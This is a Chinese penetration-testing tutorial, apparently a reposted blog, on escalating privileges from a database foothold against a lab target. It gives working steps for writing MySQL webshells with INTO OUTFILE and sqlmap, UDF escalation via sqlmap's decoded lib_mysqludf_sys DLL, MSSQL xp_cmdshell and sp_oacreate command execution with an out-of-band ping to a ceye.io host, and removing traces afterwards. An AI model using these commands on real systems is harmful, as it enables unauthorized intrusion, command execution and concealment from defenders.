数据库提权小记(一)

admin 2023年3月31日12:27:10评论20 views字数 3965阅读13分13秒阅读模式

数据库提权小记(一)

Part1什么是提权?

通常获取到Shell之后,假如我们拿到的是普通权限比如mysql、tomcat等普通应用权限,那我们如果想在内网畅通无阻,那肯定第一步需要获取到管理员最起码要是administrator甚至是system。

这种获取最高权限的方式就叫提权。

Part2MYSQL数据库提权

1、Into outfile 写webshell

要想使用into outfile 写shell需满足以下条件

知道网站物理路径

高权限数据库用户

load_file() 开启 即 secure_file_priv 无限制

网站路径有写入权限

实验环境:

靶机:192.168.10.146(http://192.168.10.146/dx/error_injection/

首先使用sqlmap尝试跑出数据库账号和密码

数据库提权小记(一)

尝试使用已经跑出的账号密码进行数据库的连接()


数据库提权小记(一)

可以使用:show variables like "secure_file_priv”; 对当前数据库的secure_file_priv的状态进行查询

数据库提权小记(一)

secure_file_priv为NULL,表示MySQL无法导入导出文件

secure_file_priv为具体路径,表示该路径下允许导入导出文件

secure_file_priv没有值时,表示MySQL不限制文件导入导出

接下来对该网站的路径进行尝试猜测

数据库提权小记(一)

这里是用phpstudy搭建的网站,所以猜测网站目录在WWW目录下,或者通过其他手段的信息收集,来收集到我们的网站绝对路径。

有了网站路径,我们就可以执行SQL命令来进行写shell

数据库提权小记(一)

成功写入shell之后,即可使用菜刀、蚁剑等webshell连接工具进行连接

数据库提权小记(一)

同样我们也可以使用sqlmap进行webshell的写入

sqlmap -u “http://xxx.xxx.xxx.xxx/?id=1”--file-write=“X:/xx/xx/shell.php” --file-dest=“C:/phpstudy_pro/www/shell.php”


2、Mysql-udf提权

    udf为User Defined Function用户定义函数,顾名思义,mysql允许用户自定义函数功能。主要方法是向MySQL的插件路径导入用户编写的dll文件,并调用dll文件中用户定义的函数

但是前提需要知晓MySQL管理员账号密码及插件路径有写入权限。

首先是前提条件问题:

通过SQL注入获取MySQL密码hash值并破解 

如果有webshell,可通过查找网站配置文件等获取账号密码

如插件路径无写入路径,也可通过webshell进行上传

由于udf提权对服务器的位数有要求,需要首先查看服务器位数

使用 show variables like “%conpile%”;

数据库提权小记(一)

在确定了服务器位数之后,即可进行dll的解码并导入

Udf位置:sqlmap/data/udf/mysql/

Cloak位置:sqlmap/extra/cloak

我们可以通过sqlmap中里的UDF动态链接库进行导入,为了防止被杀毒软件查杀,sqlmap中的udf动态链接库都经过了编码处理,不能直接使用,所以我们还需要用sqlmap自带的解码工具cloak.py进行解码

python3 cloak.py -d -i /Users/thunderdeity/Downloads/sqlmap-1.7/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

解码生成的dll文件同样位于cloak目录下

数据库提权小记(一)

这里被攻击的靶机版本为5.7.26,所以我们要把动态链接库上传到安装目录/lib/plugin/下面,那我们可以利用如下命令查找安装目录

show variables like "%plugin%";

数据库提权小记(一)

使用命令:

sqlmap -u “http://192.168.10.146/dx/error_injection?id=1”--file-write=“ /Users/thunderdeity/Downloads/sqlmap-1.7/extra/cloak/ lib_mysqludf_sys_64.dll” --file-dest=“C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin”

数据库提权小记(一)

把相应的dll传入plugin目录后,可以执行sql语句进行创建自定义函数

Sqlmap中的dll提供了以下函数:

sys_eval:执行任意命令,并将输出返回

sys_exec:执行任意命令,并将退出码返回

sys_get:获取一个环境变量

sys_set:创建或修改一个环境变量

这里我们使用sys_eval函数

命令如下:

create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll';


数据库提权小记(一)

接下来我们就可以使用我们已经创建好的函数执行命令等一系列操作

数据库提权小记(一)

在进行完咱们的操作之后,最后就是清理痕迹,删除我们引入的函数,删除func表,删除dll文件及目录:

数据库提权小记(一)

二、MSSQL提权

mssql提权前期要做的工作和mysql提权一样,这里就不再过多的叙述了,主要介绍一下提权方法。

select @@version   #查看数据库版本

select db_name()   #查看当前数据库

select IS_SRVROLEMEMBER('sysadmin')  #判断是否为sa权限

select IS_MEMBER('db_owner')  #判断是否为dba权限

exec master..xp_msver    #查看数据库系统参数

#开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

#关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell', 0;reconfigure;

mssql提权必知权限管理

1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.

2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.

3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA

4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为"删除")

5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员

6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码

7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器

8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.

9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.

mssql提权前期要做的工作和mysql提权一样,这里就不再过多的叙述了,主要介绍一下提权方法。

1、xp_cmdshell提权

xp_cmdshell为扩展存储过程,它将命令字符串作为操作系统命令shell执行,并以文本方式所有输出,使用xp_cmdshell提权需要数据库dba权限 首先可以使用查询sysobjects表来查看xp_cmdshell组件是否存在,返回1即为存在。

其作用类似于mysql的udf,其本质是一些sql语句的集合,xp_cmdshell也可以理解为一些危险性比较高的小脚本。

数据库提权小记(一)

使用以下代码激活xp_cmdshell组件:

数据库提权小记(一)

已经将xp_cmdshell组件设置为开启状态后,我们就可以利用该组件执行命令

数据库提权小记(一)

利用完毕后,最后是清理痕迹,把两项配置值还原为0;

数据库提权小记(一)

2、Ole提权

当xp_cmdshell不可用的时候,我们还可以利用sc_oacreate来进行提权

sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。还能配合 sp_oamethod 来写文件执行 cmd。

使用sp_oacreate提权前提条件:系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)

⚠️该方式执行无回显,执行成功会返回0

首先,要是用以下命令开启存储过程

EXEC sp_configure 'show advanced options', 1;  

RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;  

RECONFIGURE;

数据库提权小记(一)

接下来就可以调用sp_oacreate和sp_oamethod进行执行命令

declare @cmd INT; exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true’;

数据库提权小记(一)

同样可以尝试创建用户

数据库提权小记(一)

最后就是恢复环境,清理痕迹:

数据库提权小记(一)

“D&X 安全实验室”
专注渗透测试技术
全球最新网络攻击技术

数据库提权小记(一)

原文始发于微信公众号(DX安全实验室):数据库提权小记(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月31日12:27:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   数据库提权小记(一)http://cn-sec.com/archives/1641876.html

发表评论

匿名网友 填写信息